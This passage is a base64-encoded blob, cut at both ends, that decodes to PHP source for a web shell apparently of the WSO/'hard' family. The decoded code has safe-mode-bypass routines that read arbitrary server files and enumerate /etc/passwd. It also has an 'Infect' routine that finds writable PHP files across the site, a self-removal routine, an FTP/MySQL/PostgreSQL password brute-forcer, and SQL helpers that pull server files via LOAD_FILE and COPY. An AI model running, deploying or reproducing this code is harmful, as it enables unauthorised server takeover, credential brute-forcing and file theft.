vbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cHM6Ly93d3cuZmFrZW5hbWVnZW5lcmF0b3IuY29tLyc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+DQoJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0naGFzaGNyYWNrLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cHM6Ly93d3cuaGFzaGNyYWNrLmNvbS9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J3Rvb2xraS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHBzOi8vdG9vbGtpLmNvbS8nO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J2ZvcG8uY29tLmFyJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwczovL2ZvcG8uY29tLmFyLyc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+DQoJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nbWQ1ZGVjcnlwdGVyLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cHM6Ly93d3cubWQ1ZGVjcnlwdGVyLmNvbS8nO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQk8L2Zvcm0+PC9kaXY+IjsNCgloYXJkRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhY3Rpb25TYWZlTW9kZSgpIHsNCgkkdGVtcD0nJzsNCglvYl9zdGFydCgpOw0KCXN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsNCgkJY2FzZSAxOg0KCQkJJHRlbXA9QHRlbXBuYW0oJHRlc3QsICdjeCcpOw0KCQkJaWYoQGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRfUE9TVFsncDInXSwgJHRlbXApKXsNCgkJCQllY2hvIEBmaWxlX2dldF9jb250ZW50cygkdGVtcCk7DQoJCQkJdW5saW5rKCR0ZW1wKTsNCgkJCX0gZWxzZQ0KCQkJCWVjaG8gJ1NvcnJ5Li4uIENhblwndCBvcGVuIGZpbGUnOw0KCQkJYnJlYWs7DQoJCWNhc2UgMjoNCgkJCSRmaWxlcyA9IGdsb2IoJF9QT1NUWydwMiddLicqJyk7DQoJCQlpZiggaXNfYXJyYXkoJGZpbGVzKSApDQoJCQkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlbmFtZSkNCgkJCQkJZWNobyAkZmlsZW5hbWUuIlxuIjsNCgkJCWJyZWFrOw0KCQljYXNlIDM6DQoJCQkkY2ggPSBjdXJsX2luaXQoImZpbGU6Ly8iLiRfUE9TVFsncDInXS4iXHgwMCIuU0VMRl9QQVRIKTsNCgkJCWN1cmxfZXhlYygkY2gpOw0KCQkJYnJlYWs7DQoJCWNhc2UgNDoNCgkJCWluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCgkJCWluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCgkJCWluY2x1ZGUoJF9QT1NUWydwMiddKTsNCgkJCWJyZWFrOw0KCQljYXNlIDU6DQoJCQlmb3IoOyRfUE9TVFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsNCgkJCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7DQoJCQkJaWYgKCR1aWQpDQoJCQkJCWVjaG8gam9pbignOicsJHVpZCkuIlxuIjsNCgkJCX0NCgkJCWJyZWFrOw0KCQljYXNlIDY6DQoJCQlpZighZnVuY3Rpb25fZXhpc3RzKCdpbWFwX29wZW4nKSlicmVhazsNCgkJCSRzdHJlYW0gPSBpbWFwX29wZW4oJF9QT1NUWydwMiddLCAiIiwgIiIpOw0KCQkJaWYgKCRzdHJlYW0gPT0gRkFMU0UpDQoJCQkJYnJlYWs7DQoJCQllY2hvIGltYXBfYm9keSgkc3RyZWFtLCAxKTsNCgkJCWltYXBfY2xvc2UoJHN0cmVhbSk7DQoJCQlicmVhazsNCgl9DQoJJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsNCgloYXJkSGVhZGVyKCk7DQoJZWNobyAnPGgxPlNhZmUgbW9kZSBieXBhc3M8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KCWVjaG8gJzxzcGFuPkNvcHkgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMSIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+PGJyPjxzcGFuPkdsb2IgKGxpc3QgZGlyKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIyIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT48YnI+PHNwYW4+Q3VybCAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIzIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT48YnI+PHNwYW4+SW5pX3Jlc3RvcmUgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNCIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+PGJyPjxzcGFuPlBvc2l4X2dldHB3dWlkICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI1Iix0aGlzLnBhcmFtMS52YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjx0cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEgdmFsdWU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTIgdmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI+PC9mb3JtPjxicj48YnI+PHNwYW4+SW1hcF9vcGVuIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjYiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT4nOw0KCWlmKCR0ZW1wKQ0KCQllY2hvICc8cHJlIGNsYXNzPSJtbDEiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIgaWQ9Ik91dHB1dCI+Jy4kdGVtcC4nPC9wcmU+JzsNCgllY2hvICc8L2Rpdj4nOw0KCWhhcmRGb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsNCiAgICBzZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICcnLCB0aW1lKCkgLSAzNjAwKTsNCglkaWUoJ2J5ZSEnKTsNCn0NCmZ1bmN0aW9uIGFjdGlvblNlbGZSZW1vdmUoKSB7DQoJaWYoJF9QT1NUWydwMSddID09ICd5ZXMnKQ0KCQlpZihAdW5saW5rKHByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKQ0KCQkJZGllKCdTaGVsbCBoYXMgYmVlbiByZW1vdmVkJyk7DQoJCWVsc2UNCgkJCWVjaG8gJ3VubGluayBlcnJvciEnOw0KICAgIGlmKCRfUE9TVFsncDEnXSAhPSAneWVzJykNCiAgICAgICAgaGFyZEhlYWRlcigpOw0KCWVjaG8gJzxoMT5TdWljaWRlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsNCgloYXJkRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhY3Rpb25JbmZlY3QoKSB7DQoJaGFyZEhlYWRlcigpOw0KCWVjaG8gJzxoMT5JbmZlY3Q8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KCWlmKCRfUE9TVFsncDEnXSA9PSAnaW5mZWN0Jykgew0KCQkkdGFyZ2V0PSRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107DQoJCQlmdW5jdGlvbiBMaXN0RmlsZXMoJGRpcikgew0KCQkJCWlmKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsNCgkJCQkJJGZpbGVzID0gQXJyYXkoKTsNCgkJCQkJJGlubmVyX2ZpbGVzID0gQXJyYXkoKTsNCgkJCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsNCgkJCQkJCWlmKCRmaWxlICE9ICIuIiAmJiAkZmlsZSAhPSAiLi4iKSB7DQoJCQkJCQkJaWYoaXNfZGlyKCRkaXIgLiAiLyIgLiAkZmlsZSkpIHsNCgkJCQkJCQkJJGlubmVyX2ZpbGVzID0gTGlzdEZpbGVzKCRkaXIgLiAiLyIgLiAkZmlsZSk7DQoJCQkJCQkJCWlmKGlzX2FycmF5KCRpbm5lcl9maWxlcykpICRmaWxlcyA9IGFycmF5X21lcmdlKCRmaWxlcywgJGlubmVyX2ZpbGVzKTsgDQoJCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQkJYXJyYXlfcHVzaCgkZmlsZXMsICRkaXIgLiAiLyIgLiAkZmlsZSk7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCWNsb3NlZGlyKCRkaCk7DQoJCQkJCXJldHVybiAkZmlsZXM7DQoJCQkJfQ0KCQkJfQ0KCQkJZm9yZWFjaCAoTGlzdEZpbGVzKCR0YXJnZXQpIGFzICRrZXk9PiRmaWxlKXsNCgkJCQkkbkZpbGUgPSBzdWJzdHIoJGZpbGUsIC00LCA0KTsNCgkJCQlpZigkbkZpbGUgPT0gIi5waHAiICl7DQoJCQkJCWlmKCgkZmlsZTw+JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4kX1NFUlZFUlsnUEhQX1NFTEYnXSkmJihpc193cml0ZWFibGUoJGZpbGUpKSl7DQoJCQkJCQllY2hvICIkZmlsZTxicj4iOw0KCQkJCQkJJGkrKzsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJCWVjaG8gIjxmb250IGNvbG9yPXJlZCBzaXplPTE0PiRpPC9mb250PiI7DQoJCX1lbHNlew0KCQkJZWNobyAiPGZvcm0gbWV0aG9kPXBvc3Q+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUluZmVjdCBuYW1lPWluZmV0PjwvZm9ybT4iOw0KCQkJZWNobyAnUmVhbGx5IHdhbnQgdG8gaW5mZWN0IHRoZSBzZXJ2ZXI/Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwnaW5mZWN0XCcpIj5ZZXM8L2E+PC9kaXY+JzsNCgkJfQ0KCWhhcmRGb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvbkJydXRlZm9yY2UoKSB7DQoJaGFyZEhlYWRlcigpOw0KCWlmKCBpc3NldCgkX1BPU1RbJ3Byb3RvJ10pICkgew0KCQllY2hvICc8aDE+UmVzdWx0czwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzcGFuPlR5cGU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwcm90byddKS4nIDxzcGFuPlNlcnZlcjo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NlcnZlciddKS4nPGJyPic7DQoJCWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ2Z0cCcgKSB7DQoJCQlmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsNCgkJCQkkZnAgPSBAZnRwX2Nvbm5lY3QoJGlwLCAkcG9ydD8kcG9ydDoyMSk7DQoJCQkJaWYoISRmcCkgcmV0dXJuIGZhbHNlOw0KCQkJCSRyZXMgPSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7DQoJCQkJQGZ0cF9jbG9zZSgkZnApOw0KCQkJCXJldHVybiAkcmVzOw0KCQkJfQ0KCQl9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdteXNxbCcgKSB7DQoJCQlmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsNCgkJCQkkcmVzID0gQG15c3FsX2Nvbm5lY3QoJGlwLic6Jy4oJHBvcnQ/JHBvcnQ6MzMwNiksICRsb2dpbiwgJHBhc3MpOw0KCQkJCUBteXNxbF9jbG9zZSgkcmVzKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgew0KCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJHN0ciA9ICJob3N0PSciLiRpcC4iJyBwb3J0PSciLiRwb3J0LiInIHVzZXI9JyIuJGxvZ2luLiInIHBhc3N3b3JkPSciLiRwYXNzLiInIGRibmFtZT1wb3N0Z3JlcyI7DQoJCQkJJHJlcyA9IEBwZ19jb25uZWN0KCRzdHIpOw0KCQkJCUBwZ19jbG9zZSgkcmVzKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfQ0KCQkkc3VjY2VzcyA9IDA7DQoJCSRhdHRlbXB0cyA9IDA7DQoJCSRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7DQoJCWlmKCRfUE9TVFsndHlwZSddID09IDEpIHsNCgkJCSR0ZW1wID0gQGZpbGUoJy9ldGMvcGFzc3dkJyk7DQoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkNCgkJCQlmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKSB7DQoJCQkJCSRsaW5lID0gZXhwbG9kZSgiOiIsICRsaW5lKTsNCgkJCQkJKyskYXR0ZW1wdHM7DQoJCQkJCWlmKCBicnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkbGluZVswXSwgJGxpbmVbMF0pICkgew0KCQkJCQkJJHN1Y2Nlc3MrKzsNCgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7DQoJCQkJCX0NCgkJCQkJaWYoQCRfUE9TVFsncmV2ZXJzZSddKSB7DQoJCQkJCQkkdG1wID0gIiI7DQoJCQkJCQlmb3IoJGk9c3RybGVuKCRsaW5lWzBdKS0xOyAkaT49MDsgLS0kaSkNCgkJCQkJCQkkdG1wIC49ICRsaW5lWzBdWyRpXTsNCgkJCQkJCSsrJGF0dGVtcHRzOw0KCQkJCQkJaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkdG1wKSApIHsNCgkJCQkJCQkkc3VjY2VzcysrOw0KCQkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQl9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAyKSB7DQoJCQkkdGVtcCA9IEBmaWxlKCRfUE9TVFsnZGljdCddKTsNCgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQ0KCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsNCgkJCQkJJGxpbmUgPSB0cmltKCRsaW5lKTsNCgkJCQkJKyskYXR0ZW1wdHM7DQoJCQkJCWlmKCBicnV0ZUZvcmNlKCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRfUE9TVFsnbG9naW4nXSwgJGxpbmUpICkgew0KCQkJCQkJJHN1Y2Nlc3MrKzsNCgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOw0KCQkJCQl9DQoJCQkJfQ0KCQl9DQoJCWVjaG8gIjxzcGFuPkF0dGVtcHRzOjwvc3Bhbj4gJGF0dGVtcHRzIDxzcGFuPlN1Y2Nlc3M6PC9zcGFuPiAkc3VjY2VzczwvZGl2Pjxicj4iOw0KCX0NCgllY2hvICc8aDE+RlRQIGJydXRlZm9yY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48dGFibGU+PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD48c3Bhbj5UeXBlPC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48bGFiZWw+PHNlbGVjdCBuYW1lPXByb3RvPjxvcHRpb24gdmFsdWU9ZnRwPkZUUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPXBnc3FsPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPjwvdGQ+PC90cj48dHI+PHRkPicNCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYSddKS4nIj4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY2hhcnNldCddKS4nIj4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9bmUgIHZhbHVlPSIiPicNCgkJLic8c3Bhbj5TZXJ2ZXI6cG9ydDwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PHNwYW4+QnJ1dGUgdHlwZTwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZCBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cmV2ZXJzZSB2YWx1ZT0xIGNoZWNrZWQ+IHJldmVyc2UgKGxvZ2luIC0+IG5pZ29sKTwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjIiPiBEaWN0aW9uYXJ5PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjx0YWJsZSBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjx0cj48dGQ+PHNwYW4+TG9naW48L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2dpbiB2YWx1ZT0icm9vdCI+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjxzcGFuPkRpY3Rpb25hcnk8L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kaWN0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4ncGFzc3dkLmRpYyI+PC90ZD48L3RyPjwvdGFibGU+Jw0KCQkuJzwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsNCgllY2hvICc8L2Rpdj4nOw0KCWhhcmRGb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvblNxbCgpIHsNCgljbGFzcyBEYkNsYXNzIHsNCgkJdmFyICR0eXBlOw0KCQl2YXIgJGxpbms7DQoJCXZhciAkcmVzOw0KCQlmdW5jdGlvbiBfX0NvbnN0cnVjdG9yKCR0eXBlKQl7DQoJCQkkdGhpcy0+dHlwZSA9ICR0eXBlOw0KCQl9DQoJCWZ1bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCWlmKCAkdGhpcy0+bGluayA9IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkgcmV0dXJuIHRydWU7DQoJCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOw0KCQkJCQlpZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7DQoJCQkJCWlmKCAkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBzZWxlY3RkYigkZGIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJaWYgKEBteXNxbF9zZWxlY3RfZGIoJGRiKSlyZXR1cm4gdHJ1ZTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gcXVlcnkoJHN0cikgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKSB7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9xdWVyeSgkc3RyKTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gZmV0Y2goKSB7DQoJCQkkcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOw0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOw0KCQkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGxpc3REYnMoKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnF1ZXJ5KCJTSE9XIGRhdGFiYXNlcyIpOw0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UgV0hFUkUgZGF0aXN0ZW1wbGF0ZSE9J3QnIik7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJyIpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGVycm9yKCkgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gQG15c3FsX2Vycm9yKCk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gQHBnX2xhc3RfZXJyb3IoKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKQ0KCQkJCQkJcmV0dXJuIEBteXNxbF9zZXRfY2hhcnNldCgkc3RyLCAkdGhpcy0+bGluayk7DQoJCQkJCWVsc2UNCgkJCQkJCSR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBsb2FkRmlsZSgkc3RyKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+ZmV0Y2goJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLmFkZHNsYXNoZXMoJHN0cikuIicpIGFzIGZpbGUiKSk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQkkdGhpcy0+cXVlcnkoIkNSRUFURSBUQUJMRSBoYXJkMihmaWxlIHRleHQpO0NPUFkgaGFyZDIgRlJPTSAnIi5hZGRzbGFzaGVzKCRzdHIpLiInO3NlbGVjdCBmaWxlIGZyb20gaGFyZDI7Iik7DQoJCQkJCSRyPWFycmF5KCk7DQoJCQkJCXdoaWxlKCRpPSR0aGlzLT5mZXRjaCgpKQ0KCQkJCQkJJHJbXSA9ICRpWydmaWxlJ107DQoJCQkJCSR0aGlzLT5xdWVyeSgnZHJvcCB0YWJsZSBoYXJkMicpOw0KCQkJCQlyZXR1cm4gYXJyYXkoJ2ZpbGUnPT5pb